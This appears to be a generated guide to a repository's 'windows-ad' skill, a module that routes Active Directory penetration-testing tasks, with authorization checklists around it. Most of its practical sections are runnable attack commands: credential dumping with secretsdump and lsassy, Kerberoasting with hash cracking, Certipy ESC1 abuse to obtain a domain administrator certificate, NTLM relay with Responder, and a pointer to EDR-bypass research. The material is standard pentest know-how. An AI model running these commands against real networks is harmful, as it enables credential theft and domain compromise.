# How Windows and Active Directory Skills Are Handled by reverse-skill: Complete Architecture Guide

> Discover how reverse-skill manages Windows and Active Directory skills with authorization-first policies, structured metadata, and pre-execution checklists. Learn about its deterministic routing.

- Repository: [ZhaoXu/reverse-skill](https://github.com/zhaoxuya520/reverse-skill)
- Tags: architecture
- Published: 2026-08-10

---

**The reverse-skill repository treats Windows and Active Directory attacks as a self-contained skill module that enforces authorization-first policies through structured metadata, mandatory pre-execution checklists, and deterministic routing.**

This guide examines how the `windows-ad` skill encapsulates AD penetration testing capabilities within the reverse-skill framework. Based on the [zhaoxuya520/reverse-skill](https://github.com/zhaoxuya520/reverse-skill) source code, you'll understand the routing mechanism, workflow enforcement, and practical command patterns that operators follow.

## Windows/AD Skill Architecture Overview

The `windows-ad` skill follows the repository's modular design where each security capability is isolated in its own directory under `skills/`. This encapsulation ensures clean separation of concerns and enables deterministic intent routing.

### Core Skill Components

| Component | File Path | Purpose |
|-----------|-----------|---------|
| **Skill definition** | [`skills/windows-ad/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/SKILL.md) | Metadata, workflow, toolchain table, routing context |
| **Attack path reference** | [`skills/windows-ad/references/ad-attack-paths.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/references/ad-attack-paths.md) | Detailed AD technique mappings |
| **Master routing** | [`skills/MASTER-ROUTING.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/MASTER-ROUTING.md) | Central intent-to-skill mapping |
| **Skill index** | [`skills/INDEX.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/INDEX.md) | Auto-generated discovery list |
| **Security rules** | [`RULES.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/RULES.md) | Repository-wide authorization policies |

The skill's `description` field explicitly states it handles "authorized Active Directory and Windows identity attacks"—a critical signal for the routing engine and human operators alike.

## How the Routing Engine Selects the Windows/AD Skill

The reverse-skill router implements a two-stage matching process for AD-related queries.

### Stage 1: Intent Parsing from MASTER-ROUTING.md

When a user submits a query containing AD-related keywords (e.g., "enumerate AD trusts", "Kerberoasting", "BloodHound"), the router consults [`skills/MASTER-ROUTING.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/MASTER-ROUTING.md). This central JSON configuration maps intents to skill files, guaranteeing deterministic selection.

### Stage 2: Skill Activation and Validation

Once matched, the router loads [`skills/windows-ad/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/SKILL.md) and evaluates the "路由上下文" (routing context) section. This metadata declares:

- Upstream triggers (what queries activate this skill)
- Downstream consumers (documentation generators, EDR-bypass modules)
- Required pre-conditions for execution

## Mandatory Pre-Execution Workflow

The Windows/AD skill enforces strict operational discipline through its **"ACTION REQUIRED" checklist**. These steps are non-negotiable and gate all subsequent activity.

### Pre-Flight Checks

1. **Read precedent journal** – Review prior actions in the target environment
2. **Confirm authorized scope** – Validate legal boundaries and engagement rules
3. **Generate case-init (`NOW` steps)** – Document operational intent with timestamp

These checks operationalize the repository's **authorization-first policy** defined in [`RULES.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/RULES.md). No tool execution proceeds without explicit completion markers.

## Attack Workflow: From Enumeration to Exploitation

The `windows-ad` skill structures adversary simulation into four sequential phases, each with documented commands and evidence requirements.

### Phase 1: Enumeration

The skill provides command templates for domain mapping and service discovery.

```bash

# NetExec (nxc) for SMB enumeration with valid credentials

nxc smb 192.168.1.0/24 -u alice -p password123

# BloodHound data collection for graph analysis

bloodhound-python -d corp.local -u alice -p password123 \
    -c All -ns dc01.corp.local

```

The "枚举" block in [`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md) specifies these tools as prerequisites for informed exploitation.

### Phase 2: Attack Path Identification

The skill references [`skills/windows-ad/references/ad-attack-paths.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/references/ad-attack-paths.md) for technique selection. Common paths include:

| Attack Category | Technique | Tool Mapping |
|---------------|-----------|--------------|
| Credential access | Kerberoasting | Impacket [`GetUserSPNs.py`](https://github.com/zhaoxuya520/reverse-skill/blob/main/GetUserSPNs.py) |
| Permission abuse | ACL exploitation | BloodHound + manual DACL review |
| Delegation attacks | Unconstrained/constrained delegation | Impacket [`findDelegation.py`](https://github.com/zhaoxuya520/reverse-skill/blob/main/findDelegation.py) |
| AD Certificate Services | ESC1–ESC8 template abuse | Certipy |
| Authentication coercion | NTLM relay | Responder + [`ntlmrelayx.py`](https://github.com/zhaoxuya520/reverse-skill/blob/main/ntlmrelayx.py) |

### Phase 3: Credential Harvesting and Lateral Movement

The "凭证与横向" (credentials and lateral movement) section documents post-compromise actions.

```bash

# Dump SAM/NTDS with secretsdump

secretsdump.py corp\\alice:password123@dc01.corp.local

# Extract LSASS memory with lsassy (alternative to Mimikatz)

lsassy -d corp.local -u alice -p password123 192.168.1.10

```

### Phase 4: Evidence Recording and Checklist Verification

After each action, operators must:

- Record command output and timestamps
- Answer the mandatory check: "是否先有图/枚举再有利用？" (Were graphing/enumeration performed before exploitation?)

This enforces the skill's **evidence-first** discipline.

## Toolchain Integration and Management

The Windows/AD skill declares its dependencies in a structured "工具链" (toolchain) table within [`SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/SKILL.md). This enables automated environment validation.

| Tool | Purpose | Required Version |
|------|---------|------------------|
| **BloodHound** | AD graph generation and analysis | Latest ingestor + GUI |
| **Impacket** | Core protocol attacks (SMB, LDAP, Kerberos) | 0.12.0+ |
| **Certipy** | AD-CS certificate abuse | 4.8.0+ |
| **Responder** | LLMNR/NBT-NS/mDNS poisoning | 3.1.3+ |
| **NetExec (nxc)** | Modern SMB/WinRM enumeration | 1.1.0+ |

The skill integrates with `skills/tool-index.md.template` for automated dependency checking during router initialization.

## Practical Command Reference

Below are complete, runnable patterns for common AD engagements. All commands assume prior authorization and completed pre-flight checks.

### Kerberoasting with Impacket

```bash

# Request service tickets for SPN-associated accounts

GetUserSPNs.py corp.local/alice:password123 -outputfile spns.txt

# Crack offline with Hashcat

hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt

```

### AD-CS Template Abuse (ESC1) with Certipy

```bash

# Enumerate certificate templates

certipy find -d corp.local -u alice -p password123 -target dc01.corp.local -vulnerable

# Request certificate with arbitrary SAN for domain admin

certipy req -d corp.local -u alice -p password123 \
    -target dc01.corp.local -ca "CORP-CA" \
    -template "VulnerableTemplate" -upn administrator@corp.local

# Authenticate with certificate via PKINIT

certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10

```

### NTLM Relay Attack Chain

```bash

# Terminal 1: Start Responder for name poisoning

sudo responder -I eth0 -wrf

# Terminal 2: Launch relay with SOCKS proxy for pivoting

ntlmrelayx.py -tf targets.txt -smb2support -socks

```

## Routing Context and Downstream Integration

The Windows/AD skill declares explicit relationships with other repository modules:

- **Upstream**: Activated by AD-specific intents from [`MASTER-ROUTING.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/MASTER-ROUTING.md)
- **Downstream**: Feeds output to `docs-generator` (auto-documentation) and `edr-bypass-research` (evasion technique development)

This graph-based relationship system enables complex multi-skill workflows while maintaining traceability.

## Summary

- **Windows and Active Directory skills** in reverse-skill are encapsulated as the `windows-ad` skill module at [`skills/windows-ad/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/SKILL.md)
- **Deterministic routing** through [`skills/MASTER-ROUTING.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/MASTER-ROUTING.md) ensures AD queries map to the correct skill
- **Authorization-first enforcement** via mandatory "ACTION REQUIRED" checklists gates all exploitation
- **Structured workflow** progresses from enumeration → path identification → credential harvesting → evidence recording
- **Toolchain transparency** via the "工具链" table enables automated dependency validation

## Frequently Asked Questions

### What file contains the complete Windows/AD skill definition?

The skill is fully defined in [`skills/windows-ad/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/SKILL.md). This file contains the metadata description, workflow blocks, toolchain table, routing context, and mandatory checklists. Attack technique details are referenced from [`skills/windows-ad/references/ad-attack-paths.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/references/ad-attack-paths.md).

### How does reverse-skill enforce authorization before AD attacks?

The `windows-ad` skill requires completion of an "ACTION REQUIRED" checklist before any tool execution. Operators must document precedent review, scope confirmation, and case initialization with timestamps. This operationalizes the "授权先行" (authorization first) policy from [`RULES.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/RULES.md).

### Can the routing engine handle mixed AD and non-AD queries?

Yes. The [`skills/MASTER-ROUTING.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/MASTER-ROUTING.md) configuration supports multi-intent disambiguation. AD-specific keywords trigger the `windows-ad` skill, while overlapping terms can activate multiple skills with dependency resolution handled through the routing context declarations in each skill's metadata.

### What tools are required to run Windows/AD skill workflows?

The toolchain requires BloodHound (graph analysis), Impacket (protocol attacks), Certipy (AD-CS abuse), Responder (coercion), and NetExec (modern enumeration). The skill validates tool availability through `skills/tool-index.md.template` during router startup.